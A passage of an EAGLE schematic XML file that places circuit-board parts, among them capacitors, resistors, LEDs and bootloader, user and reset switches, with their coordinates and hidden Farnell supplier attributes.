y=\"38.1\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-83.82\" y=\"38.1\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-83.82\" y=\"38.1\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C13\" gate=\"G$1\" x=\"-88.9\" y=\"33.02\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-92.202\" y=\"30.099\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"-92.71\" y=\"27.813\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"-88.9\" y=\"33.02\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-88.9\" y=\"33.02\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-88.9\" y=\"33.02\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-88.9\" y=\"33.02\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-88.9\" y=\"33.02\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C14\" gate=\"G$1\" x=\"-88.9\" y=\"43.18\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-92.456\" y=\"50.419\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"-92.456\" y=\"47.879\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"-88.9\" y=\"43.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-88.9\" y=\"43.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-88.9\" y=\"43.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-88.9\" y=\"43.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-88.9\" y=\"43.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"GND5\" gate=\"1\" x=\"-170.18\" y=\"124.46\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-172.72\" y=\"121.92\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"P+5\" gate=\"G$1\" x=\"-142.24\" y=\"149.86\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-143.256\" y=\"153.416\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"R31\" gate=\"G$1\" x=\"-142.24\" y=\"198.12\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"-140.7414\" y=\"201.93\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"-145.542\" y=\"201.93\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"198.12\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"198.12\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"198.12\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"198.12\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"198.12\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R30\" gate=\"G$1\" x=\"-142.24\" y=\"170.18\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"-140.7414\" y=\"173.99\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"-145.542\" y=\"173.99\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"170.18\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"170.18\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"170.18\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"170.18\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"170.18\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"BOOTLOADER\" gate=\"S\" x=\"-157.48\" y=\"190.5\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-167.64\" y=\"196.85\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-160.02\" y=\"184.15\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"190.5\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"190.5\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"190.5\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"190.5\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"190.5\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"USER\" gate=\"S\" x=\"-157.48\" y=\"162.56\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-160.02\" y=\"168.91\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-160.02\" y=\"156.21\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"162.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"162.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"162.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"162.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"162.56\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"P+16\" gate=\"G$1\" x=\"-142.24\" y=\"205.74\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-143.256\" y=\"209.296\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"P+17\" gate=\"G$1\" x=\"-142.24\" y=\"177.8\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-143.256\" y=\"181.356\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"RESET\" gate=\"S\" x=\"-157.48\" y=\"134.62\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-160.02\" y=\"140.97\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-160.02\" y=\"128.27\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"134.62\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"134.62\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"134.62\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"134.62\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"134.62\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R29\" gate=\"G$1\" x=\"-142.24\" y=\"142.24\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"-140.7414\" y=\"146.05\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"-145.542\" y=\"146.05\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"142.24\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"142.24\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"142.24\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"142.24\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"142.24\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"P+11\" gate=\"G$1\" x=\"-22.86\" y=\"231.14\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-23.876\" y=\"234.696\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"GND17\" gate=\"1\" x=\"-20.32\" y=\"210.82\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-22.86\" y=\"208.28\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"C19\" gate=\"G$1\" x=\"-68.58\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-67.056\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-65.532\" y=\"219.075\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-68.58\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-68.58\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-68.58\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-68.58\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-68.58\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C20\" gate=\"G$1\" x=\"-53.34\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-51.816\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-50.038\" y=\"219.075\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-53.34\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-53.34\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-53.34\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-53.34\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-53.34\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C21\" gate=\"G$1\" x=\"-35.56\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-34.036\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-34.036\" y=\"218.821\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-35.56\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-35.56\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-35.56\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-35.56\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-35.56\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C22\" gate=\"G$1\" x=\"-20.32\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-18.796\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-18.796\" y=\"218.821\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-20.32\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-20.32\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-20.32\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-20.32\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-20.32\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C23\" gate=\"G$1\" x=\"-7.62\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"-6.096\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-6.096\" y=\"218.821\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-7.62\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-7.62\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-7.62\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-7.62\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-7.62\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C24\" gate=\"G$1\" x=\"5.08\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"6.604\" y=\"223.901\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"6.604\" y=\"218.821\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"5.08\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"5.08\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"5.08\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"5.08\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"5.08\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R25\" gate=\"G$1\" x=\"-157.48\" y=\"73.66\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"75.1586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"70.358\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R27\" gate=\"G$1\" x=\"-157.48\" y=\"86.36\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"87.8586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"83.058\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R28\" gate=\"G$1\" x=\"-157.48\" y=\"99.06\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"100.5586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"95.758\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED6\" gate=\"G$1\" x=\"-142.24\" y=\"73.66\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"70.104\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-132.588\" y=\"67.945\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"73.66\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED7\" gate=\"G$1\" x=\"-142.24\" y=\"86.36\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"82.804\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-122.428\" y=\"80.645\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"86.36\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED8\" gate=\"G$1\" x=\"-142.24\" y=\"99.06\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"95.504\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-132.588\" y=\"93.345\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"P+13\" gate=\"G$1\" x=\"-167.64\" y=\"106.68\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"-166.624\" y=\"110.236\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"P+12\" gate=\"G$1\" x=\"306.324\" y=\"30.734\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"VALUE\" x=\"298.45\" y=\"31.496\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n</instance>\n<instance part=\"U$16\" gate=\"G$1\" x=\"311.404\" y=\"28.194\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"VALUE\" x=\"303.022\" y=\"28.956\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n</instance>\n<instance part=\"GND24\" gate=\"1\" x=\"313.944\" y=\"25.654\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"VALUE\" x=\"313.69\" y=\"24.384\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"GND23\" gate=\"1\" x=\"256.54\" y=\"25.4\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"VALUE\" x=\"250.952\" y=\"24.638\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"P+9\" gate=\"G$1\" x=\"248.92\" y=\"30.48\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"245.618\" y=\"30.988\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"VALUE\" gate=\"G$1\" x=\"254\" y=\"27.94\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"250.952\" y=\"28.702\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"R19\" gate=\"G$1\" x=\"-162.56\" y=\"10.16\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-158.75\" y=\"11.6586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-158.75\" y=\"6.858\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-162.56\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-162.56\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-162.56\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-162.56\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-162.56\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED1\" gate=\"G$1\" x=\"-142.24\" y=\"10.16\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"6.604\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-137.668\" y=\"4.445\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"GND4\" gate=\"1\" x=\"129.54\" y=\"210.82\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"132.08\" y=\"208.28\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"GND6\" gate=\"1\" x=\"-124.46\" y=\"10.16\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"VALUE\" x=\"-121.92\" y=\"12.7\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n</instance>\n<instance part=\"P+18\" gate=\"G$1\" x=\"88.9\" y=\"231.14\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"89.916\" y=\"234.696\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"GND8\" gate=\"1\" x=\"106.68\" y=\"210.82\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"109.22\" y=\"208.28\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"GND21\" gate=\"1\" x=\"139.7\" y=\"210.82\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"142.24\" y=\"208.28\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"C30\" gate=\"G$1\" x=\"139.7\" y=\"223.52\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"138.176\" y=\"226.441\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"138.176\" y=\"221.361\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"139.7\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"139.7\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"139.7\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"139.7\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"MR0\" 